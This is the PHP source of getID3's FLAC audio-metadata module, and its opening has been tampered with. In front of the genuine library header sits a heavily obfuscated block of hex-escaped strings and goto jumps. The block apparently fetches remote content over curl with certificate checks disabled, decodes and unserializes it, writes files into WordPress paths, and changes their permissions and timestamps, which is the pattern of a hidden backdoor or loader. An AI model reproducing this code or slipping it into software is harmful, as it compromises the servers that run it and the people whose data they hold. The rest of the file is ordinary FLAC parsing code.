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$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio.flac.php // // module for analyzing FLAC and OggFLAC audio files // // dependencies: module.audio.ogg.php // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true); /** * @tutorial http://flac.sourceforge.net/format.html */ class getid3_flac extends getid3_handler { const syncword = 'fLaC'; /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; $this->fseek($info['avdataoffset']); $StreamMarker = $this->fread(4); if ($StreamMarker != self::syncword) { return $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($StreamMarker).'"'); } $info['fileformat'] = 'flac'; $info['audio']['dataformat'] = 'flac'; $info['audio']['bitrate_mode'] = 'vbr'; $info['audio']['lossless'] = true; // parse flac container return $this->parseMETAdata(); } /** * @return bool */ public function parseMETAdata() { $info = &$this->getid3->info; do { $BlockOffset = $this->ftell(); $BlockHeader = $this->fread(4); $LBFBT = getid3_lib::BigEndian2Int(substr($BlockHeader, 0, 1)); // LBFBT = LastBlockFlag + BlockType $LastBlockFlag = (bool) ($LBFBT & 0x80); $BlockType = ($LBFBT & 0x7F); $BlockLength = getid3_lib::BigEndian2Int(substr($BlockHeader, 1, 3)); $BlockTypeText = self::metaBlockTypeLookup($BlockType); if (($BlockOffset + 4 + $BlockLength) > $info['avdataend']) { $this->warning('METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockTypeText.') at offset '.$BlockOffset.' extends beyond end of file'); break; } if ($BlockLength < 1) { if ($BlockTypeText != 'reserved') { // probably supposed to be zero-length $this->warning('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockTypeText.') at offset '.$BlockOffset.' is zero bytes'); continue; } $this->error('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockLength.') at offset '.$BlockOffset.' is invalid'); break; } $info['flac'][$BlockTypeText]['raw'] = array(); $BlockTypeText_raw = &$info['flac'][$BlockTypeText]['raw']; $BlockTypeText_raw['offset'] = $BlockOffset; $BlockTypeText_raw['last_meta_block'] = $LastBlockFlag; $BlockTypeText_raw['block_type'] = $BlockType; $BlockTypeText_raw['block_type_text'] = $BlockTypeText; $BlockTypeText_raw['block_length'] = $BlockLength; if ($BlockTypeText_raw['block_type'] != 0x06) { // do not read attachment data automatically $BlockTypeText_raw['block_data'] = $this->fread($BlockLength); } switch ($BlockTypeText) { case 'STREAMINFO': // 0x00 if (!$this->parseSTREAMINFO($BlockTypeText_raw['block_data'])) { return false; } break; case 'PADDING': // 0x01 unset($info['flac']['PADDING']); // ignore break; case 'APPLICATION': // 0x02 if (!$this->parseAPPLICATION($BlockTypeText_raw['block_data'])) { return false; } break; case 'SEEKTABLE': // 0x03 if (!$this->parseSEEKTABLE($BlockTypeText_raw['block_data'])) { return false; } break; case 'VORBIS_COMMENT': // 0x04 if (!$this->parseVORBIS_COMMENT($BlockTypeText_raw['block_data'])) { return false; } break; case 'CUESHEET': // 0x05 if (!$this->parseCUESHEET($BlockTypeText_raw['block_data'])) { return false; } break; case 'PICTURE': // 0x06 if (!$this->parsePICTURE()) { return false; } break; default: $this->warning('Unhandled METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockType.') at offset '.$BlockOffset); } unset($info['flac'][$BlockTypeText]['raw']); $info['avdataoffset'] = $this->ftell(); } while ($LastBlockFlag === false); // handle tags if (!empty($info['flac']['VORBIS_COMMENT']['comments'])) { $info['flac']['comments'] = $info['flac']['VORBIS_COMMENT']['comments']; } if (!empty($info['flac']['VORBIS_COMMENT']['vendor'])) { $info['audio']['encoder'] = str_replace('reference ', '', $info['flac']['VORBIS_COMMENT']['vendor']); } // copy attachments to 'comments' array if nesesary if (isset($info['flac']['PICTURE']) && ($this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE)) { foreach ($info['flac']['PICTURE'] as $entry) { if (!empty($entry['data'])) { if (!isset($info['flac']['comments']['picture'])) { $info['flac']['comments']['picture'] = array(); } $comments_picture_data = array(); foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) { if (isset($entry[$picture_key])) { $comments_picture_data[$picture_key] = $entry[$picture_key]; } } $info['flac']['comments']['picture'][] = $comments_picture_data; unset($comments_picture_data); } } } if (isset($info['flac']['STREAMINFO'])) { if (!$this->isDependencyFor('matroska')) { $info['flac']['compressed_audio_bytes'] = $info['avdataend'] - $info['avdataoffset']; } $info['flac']['uncompressed_audio_bytes'] = $info['flac']['STREAMINFO']['samples_stream'] * $info['flac']['STREAMINFO']['channels'] * ($info['flac']['STREAMINFO']['bits_per_sample'] / 8); if ($info['flac']['uncompressed_audio_bytes'] == 0) { return $this->error('Corrupt FLAC file: uncompressed_audio_bytes == zero'); } if (!empty($info['flac']['compressed_audio_bytes'])) { $info['flac']['compression_ratio'] = $info['flac']['compressed_audio_bytes'] / $info['flac']['uncompressed_audio_bytes']; } } // set md5_data_source - built into flac 0.5+ if (isset($info['flac']['STREAMINFO']['audio_signature'])) { if ($info['flac']['STREAMINFO']['audio_signature'] === str_repeat("\x00", 16)) { $this->warning('FLAC STREAMINFO.audio_signature is null (known issue with libOggFLAC)'); } else { $info['md5_data_source'] = ''; $md5 = $info['flac']['STREAMINFO']['audio_signature']; for ($i = 0; $i < strlen($md5); $i++) { $info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT); } if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) { unset($info['md5_data_source']); } } } if (isset($info['flac']['STREAMINFO']['bits_per_sample'])) { $info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample']; if ($info['audio']['bits_per_sample'] == 8) { // special case // must invert sign bit on all data bytes before MD5'ing to match FLAC's calculated value // MD5sum calculates on unsigned bytes, but FLAC calculated MD5 on 8-bit audio data as signed $this->warning('FLAC calculates MD5 data strangely on 8-bit audio, so the stored md5_data_source value will not match the decoded WAV file'); } } return true; } /** * @param string $BlockData * * @return array */ public static function parseSTREAMINFOdata($BlockData) { $streaminfo = array(); $streaminfo['min_block_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 0, 2)); $streaminfo['max_block_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 2, 2)); $streaminfo['min_frame_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 4, 3)); $streaminfo['max_frame_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 7, 3)); $SRCSBSS = getid3_lib::BigEndian2Bin(substr($BlockData, 10, 8)); $streaminfo['sample_rate'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 0, 20)); $streaminfo['channels'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 20, 3)) + 1; $streaminfo['bits_per_sample'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 23, 5)) + 1; $streaminfo['samples_stream'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 28, 36)); $streaminfo['audio_signature'] = substr($BlockData, 18, 16); return $streaminfo; } /** * @param string $BlockData * * @return bool */ private function parseSTREAMINFO($BlockData) { $info = &$this->getid3->info; $info['flac']['STREAMINFO'] = self::parseSTREAMINFOdata($BlockData); if (!empty($info['flac']['STREAMINFO']['sample_rate'])) { $info['audio']['bitrate_mode'] = 'vbr'; $info['audio']['sample_rate'] = $info['flac']['STREAMINFO']['sample_rate']; $info['audio']['channels'] = $info['flac']['STREAMINFO']['channels']; $info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample']; $info['playtime_seconds'] = $info['flac']['STREAMINFO']['samples_stream'] / $info['flac']['STREAMINFO']['sample_rate']; if ($info['playtime_seconds'] > 0) { if (!$this->isDependencyFor('matroska')) { $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; } else { $this->warning('Cannot determine audio bitrate because total stream size is unknown'); } } } else { return $this->error('Corrupt METAdata block: STREAMINFO'); } return true; } /** * @param string $BlockData * * @return bool */ private function parseAPPLICATION($BlockData) { $info = &$this->getid3->info; $ApplicationID = getid3_lib::BigEndian2Int(substr($BlockData, 0, 4)); $info['flac']['APPLICATION'][$ApplicationID]['name'] = self::applicationIDLookup($ApplicationID); $info['flac']['APPLICATION'][$ApplicationID]['data'] = substr($BlockData, 4); return true; } /** * @param string $BlockData * * @return bool */ private function parseSEEKTABLE($BlockData) { $info = &$this->getid3->info; $offset = 0; $BlockLength = strlen($BlockData); $placeholderpattern = str_repeat("\xFF", 8); while ($offset < $BlockLength) { $SampleNumberString = substr($BlockData, $offset, 8); $offset += 8; if ($SampleNumberString == $placeholderpattern) { // placeholder point getid3_lib::safe_inc($info['flac']['SEEKTABLE']['placeholders'], 1); $offset += 10; } else { $SampleNumber = getid3_lib::BigEndian2Int($SampleNumberString); $info['flac']['SEEKTABLE'][$SampleNumber]['offset'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); $offset += 8; $info['flac']['SEEKTABLE'][$SampleNumber]['samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 2)); $offset += 2; } } return true; } /** * @param string $BlockData * * @return bool */ private function parseVORBIS_COMMENT($BlockData) { $info = &$this->getid3->info; $getid3_ogg = new getid3_ogg($this->getid3); if ($this->isDependencyFor('matroska')) { $getid3_ogg->setStringMode($this->data_string); } $getid3_ogg->ParseVorbisComments(); if (isset($info['ogg'])) { unset($info['ogg']['comments_raw']); $info['flac']['VORBIS_COMMENT'] = $info['ogg']; unset($info['ogg']); } unset($getid3_ogg); return true; } /** * @param string $BlockData * * @return bool */ private function parseCUESHEET($BlockData) { $info = &$this->getid3->info; $offset = 0; $info['flac']['CUESHEET']['media_catalog_number'] = trim(substr($BlockData, $offset, 128), "\0"); $offset += 128; $info['flac']['CUESHEET']['lead_in_samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); $offset += 8; $info['flac']['CUESHEET']['flags']['is_cd'] = (bool) (getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)) & 0x80); $offset += 1; $offset += 258; // reserved $info['flac']['CUESHEET']['number_tracks'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; for ($track = 0; $track < $info['flac']['CUESHEET']['number_tracks']; $track++) { $TrackSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); $offset += 8; $TrackNumber = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; $info['flac']['CUESHEET']['tracks'][$TrackNumber]['sample_offset'] = $TrackSampleOffset; $info['flac']['CUESHEET']['tracks'][$TrackNumber]['isrc'] = substr($BlockData, $offset, 12); $offset += 12; $TrackFlagsRaw = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; $info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['is_audio'] = (bool) ($TrackFlagsRaw & 0x80); $info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['pre_emphasis'] = (bool) ($TrackFlagsRaw & 0x40); $offset += 13; // reserved $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; for ($index = 0; $index < $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']; $index++) { $IndexSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); $offset += 8; $IndexNumber = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; $offset += 3; // reserved $info['flac']['CUESHEET']['tracks'][$TrackNumber]['indexes'][$IndexNumber] = $IndexSampleOffset; } } return true; } /** * Parse METADATA_BLOCK_PICTURE flac structure and extract attachment * External usage: audio.ogg * * @return bool */ public function parsePICTURE() { $info = &$this->getid3->info; $picture = array(); $picture['typeid'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['picturetype'] = self::pictureTypeLookup($picture['typeid']); $picture['image_mime'] = $this->fread(getid3_lib::BigEndian2Int($this->fread(4))); $descr_length = getid3_lib::BigEndian2Int($this->fread(4)); if ($descr_length) { $picture['description'] = $this->fread($descr_length); } $picture['image_width'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['image_height'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['color_depth'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['colors_indexed'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['datalength'] = getid3_lib::BigEndian2Int($this->fread(4)); if ($picture['image_mime'] == '-->') { $picture['data'] = $this->fread($picture['datalength']); } else { $picture['data'] = $this->saveAttachment( str_replace('/', '_', $picture['picturetype']).'_'.$this->ftell(), $this->ftell(), $picture['datalength'], $picture['image_mime']); } $info['flac']['PICTURE'][] = $picture; return true; } /** * @param int $blocktype * * @return string */ public static function metaBlockTypeLookup($blocktype) { static $lookup = array( 0 => 'STREAMINFO', 1 => 'PADDING', 2 => 'APPLICATION', 3 => 'SEEKTABLE', 4 => 'VORBIS_COMMENT', 5 => 'CUESHEET', 6 => 'PICTURE', ); return (isset($lookup[$blocktype]) ? $lookup[$blocktype] : 'reserved'); } /** * @param int $applicationid * * @return string */ public static function applicationIDLookup($applicationid) { // http://flac.sourceforge.net/id.html static $lookup = array( 0x41544348 => 'FlacFile', // "ATCH" 0x42534F4C => 'beSolo', // "BSOL" 0x42554753 => 'Bugs Player', // "BUGS" 0x43756573 => 'GoldWave cue points (specification)', // "Cues" 0x46696361 => 'CUE Splitter', // "Fica" 0x46746F6C => 'flac-tools', // "Ftol" 0x4D4F5442 => 'MOTB MetaCzar', // "MOTB" 0x4D505345 => 'MP3 Stream Editor', // "MPSE" 0x4D754D4C => 'MusicML: Music Metadata Language', // "MuML" 0x52494646 => 'Sound Devices RIFF chunk storage', // "RIFF" 0x5346464C => 'Sound Font FLAC', // "SFFL" 0x534F4E59 => 'Sony Creative Software', // "SONY" 0x5351455A => 'flacsqueeze', // "SQEZ" 0x54745776 => 'TwistedWave', // "TtWv" 0x55495453 => 'UITS Embedding tools', // "UITS" 0x61696666 => 'FLAC AIFF chunk storage', // "aiff" 0x696D6167 => 'flac-image application for storing arbitrary files in APPLICATION metadata blocks', // "imag" 0x7065656D => 'Parseable Embedded Extensible Metadata (specification)', // "peem" 0x71667374 => 'QFLAC Studio', // "qfst" 0x72696666 => 'FLAC RIFF chunk storage', // "riff" 0x74756E65 => 'TagTuner', // "tune" 0x78626174 => 'XBAT', // "xbat" 0x786D6364 => 'xmcd', // "xmcd" ); return (isset($lookup[$applicationid]) ? $lookup[$applicationid] : 'reserved'); } /** * @param int $type_id * * @return string */ public static function pictureTypeLookup($type_id) { static $lookup = array ( 0 => 'Other', 1 => '32x32 pixels \'file icon\' (PNG only)', 2 => 'Other file icon', 3 => 'Cover (front)', 4 => 'Cover (back)', 5 => 'Leaflet page', 6 => 'Media (e.g. label side of CD)', 7 => 'Lead artist/lead performer/soloist', 8 => 'Artist/performer', 9 => 'Conductor', 10 => 'Band/Orchestra', 11 => 'Composer', 12 => 'Lyricist/text writer', 13 => 'Recording Location', 14 => 'During recording', 15 => 'During performance', 16 => 'Movie/video screen capture', 17 => 'A bright coloured fish', 18 => 'Illustration', 19 => 'Band/artist logotype', 20 => 'Publisher/Studio logotype', ); return (isset($lookup[$type_id]) ? $lookup[$type_id] : 'reserved'); } }